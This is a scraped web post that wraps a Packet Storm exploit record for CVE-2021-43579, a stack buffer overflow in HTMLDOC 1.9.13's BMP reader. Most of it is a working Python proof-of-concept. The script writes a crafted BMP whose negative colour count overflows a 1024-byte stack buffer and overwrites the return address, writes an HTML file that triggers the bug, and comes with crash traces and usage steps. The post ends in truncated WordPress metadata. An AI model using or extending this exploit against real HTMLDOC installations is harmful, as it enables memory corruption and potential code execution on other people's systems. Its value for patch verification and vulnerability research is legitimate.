{“lastseen”:”2025-11-03T16:54:22″,”description”:”HTMLDOC……………………………”,”published”:”2025-11-03T00:00:00″,”modified”:”2025-11-03T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 HTMLDOC 1.9.13 Stack Buffer Overflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:211123″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2021-43579″],”sourceData”:”#!\/usr\/bin\/env python3\\n # Exploit Title: HTMLDOC 1.9.13 – Stack Buffer Overflow\\n # Google Dork: N\/A\\n # Date: 2025-08-26\\n # Exploit Author: wulfgarpro\\n # Vendor Homepage: https:\/\/github.com\/michaelrsweet\/htmldoc\\n # Software Link: https:\/\/github.com\/michaelrsweet\/htmldoc\/releases\/tag\/v1.9.13\\n # Version: \\u003c= 1.9.13\\n # Tested on: Linux x86_64\\n # CVE: CVE-2021-43579\\n # ==============================================================================\\n #\\n # ——————————————————————————\\n # Summary\\n # ——————————————————————————\\n # HTMLDOC’s BMP reader (`image_load_bmp`) uses a fixed-size stack buffer for\\n # the colour palette: 256 * 4 = 1024 bytes.\\n #\\n # The `image_load_bmp` function advances past the 14-byte BITMAPFILEHEADER and\\n # parses the BITMAPINFOHEADER. The attacker-controlled `biClrUsed` field is read\\n # into an `int` and then directly drives the number of colour palette bytes\\n # copied into the 1024-byte stack buffer:\\n #\\n # “`c\\n # int colors_used;\\n # uchar colormap[256][4]; \/\/ 1024 bytes\\n # colors_used = (int)read_dword(fp); \/\/ biClrUsed\\n # fread(colormap, (size_t)colors_used, 4, fp);\\n # “`\\n #\\n # A fix in v1.9.13 only rejected `colors_used \\u003e 256`. Negative values are not\\n # rejected. A negative `colors_used` (e.g. `biClrUsed = 0xffffffff == -1`) is\\n # cast to `size_t` (wraps to `SIZE_MAX`), so `fread` is asked to copy a huge\\n # amount into the 1024-byte buffer.\\n #\\n # `fread(ptr, size, nmemb, …)` copies `size * nmemb` bytes. Here the call\\n # requests `colors_used * 4` bytes. With `biClrUsed = 0xffffffff` (-1),\\n # `(size_t)colors_used` becomes `SIZE_MAX`, so the call requests an enormous\\n # read (`size=SIZE_MAX, nmemb=4`). In practice `fread` writes however many bytes\\n # are available; with our 1088-byte payload it overflows the 1024-byte buffer by\\n # 64 bytes:\\n #\\n # Payload layout:\\n #\\n # * 1080 ‘A’ bytes: fill the 1024-byte stack buffer and a further 56 bytes.\\n # * 8 ‘B’ bytes: land on the saved return address on x86_64, producing\\n # `RIP = 0x4242424242424242`.\\n #\\n # Example crash without _FORTIFY_SOURCE \/ stack protector:\\n #\\n # “`sh\\n # \u25ba 0 0x55555559dbb7 image_load_bmp(image_t*, _IO_FILE*, int, int)+2615\\n # 1 0x4242424242424242 None\\n # 2 0x1 None\\n # 3 0x55a5d5e0 None\\n # 4 0x555555a9ffa0 None\\n # 5 0x555500000000 None\\n # 6 0x5555555a989c None\\n # 7 0x555555a5d5e0 _htmlGlyphs\\n # “`\\n #\\n # With `_FORTIFY_SOURCE=2`, overflow is detected:\\n #\\n # “`sh\\n # *** buffer overflow detected ***: terminated\\n #\\n # Program received signal SIGABRT, Aborted.\\n #\\n # \u25ba 0 0x7ffff749894c None\\n # 1 0x7ffff743e410 raise+32\\n # 2 0x7ffff742557a abort+38\\n # 3 0x7ffff7426613 None\\n # 4 0x7ffff7526319 None\\n # 5 0x7ffff7525c84 None\\n # 6 0x7ffff7526565 __fread_chk+389\\n # 7 0x5555555930d9 image_load_bmp(image_t*, _IO_FILE*, int, int)+346\\n # “`\\n #\\n # ——————————————————————————\\n # Usage\\n # ——————————————————————————\\n # 0. Generate the HTML and evil BMP: `python3 CVE-2021-43579.py`\\n # 1. Trigger via HTMLDOC: `htmldoc –webpage -f out.pdf poc.html`\\n # ——————————————————————————\\n \\n # 14-byte BITMAPFILEHEADER\\n BITMAPFILEHEADER = (\\n b\\”\\\\x42\\\\x4d\\” # bfType\\n b\\”\\\\x00\\\\x00\\\\x00\\\\x00\\” # bfSize\\n b\\”\\\\x00\\\\x00\\” # bfReserved1\\n b\\”\\\\x00\\\\x00\\” # bfReserved2\\n b\\”\\\\x00\\\\x00\\\\x00\\\\x00\\” # bfOffBits\\n )\\n \\n # 40-byte BITMAPINFOHEADER\\n BITMAPINFOHEADER = (\\n b\\”\\\\x00\\\\x00\\\\x00\\\\x00\\” # biSize\\n b\\”\\\\x01\\\\x00\\\\x00\\\\x00\\” # biWidth = 0x00000001 (1)\\n b\\”\\\\x01\\\\x00\\\\x00\\\\x00\\” # biHeight = 0x00000001 (1)\\n b\\”\\\\x00\\\\x00\\” # biPlanes\\n b\\”\\\\x00\\\\x00\\” # biBitCount\\n b\\”\\\\x00\\\\x00\\\\x00\\\\x00\\” # biCompression\\n b\\”\\\\x00\\\\x00\\\\x00\\\\x00\\” # biSizeImage\\n b\\”\\\\x00\\\\x00\\\\x00\\\\x00\\” # biXPelsPerMeter\\n b\\”\\\\x00\\\\x00\\\\x00\\\\x00\\” # biYPelsPerMeter\\n b\\”\\\\xff\\\\xff\\\\xff\\\\xff\\” # biClrUsed = 0xffffffff (-1)\\n b\\”\\\\x00\\\\x00\\\\x00\\\\x00\\” # biClrImportant\\n )\\n \\n PAYLOAD = b\\”A\\” * 1080 # cyclic: uaakvaak\\n PAYLOAD += b\\”B\\” * 8 # RIP overwrite\\n \\n \\n def generate_poc_bmp():\\n with open(\\”poc.bmp\\”, \\”+wb\\”) as poc_bmp:\\n poc_bmp.write((BITMAPFILEHEADER + BITMAPINFOHEADER) + PAYLOAD)\\n \\n \\n def generate_poc_html():\\n with open(\\”poc.html\\”, \\”+w\\”) as poc_html:\\n poc_html.write(\\”\\u003chtml\\u003e\\u003cimg src=’.\/poc.bmp’\/\\u003e\\u003c\/html\\u003e\\”)\\n \\n \\n if __name__ == \\”__main__\\”:\\n generate_poc_bmp()\\n generate_poc_html()”,”sourceHref”:”https:\/\/packetstorm.news\/download\/211123″,”cvss”:{“score”:7.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:L\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/211123\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-03T16:54:22″,”description”:”HTMLDOC……………………………”,”published”:”2025-11-03T00:00:00″,”modified”:”2025-11-03T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 HTMLDOC 1.9.13 Stack Buffer Overflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:211123″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2021-43579″],”sourceData”:”#!\/usr\/bin\/env python3\\n # Exploit Title: HTMLDOC 1.9.13 – Stack Buffer Overflow\\n # Google Dork: N\/A\\n # Date: 2025-08-26\\n # Exploit…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,15,13,53,7,11,5],"class_list":["post-24497","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n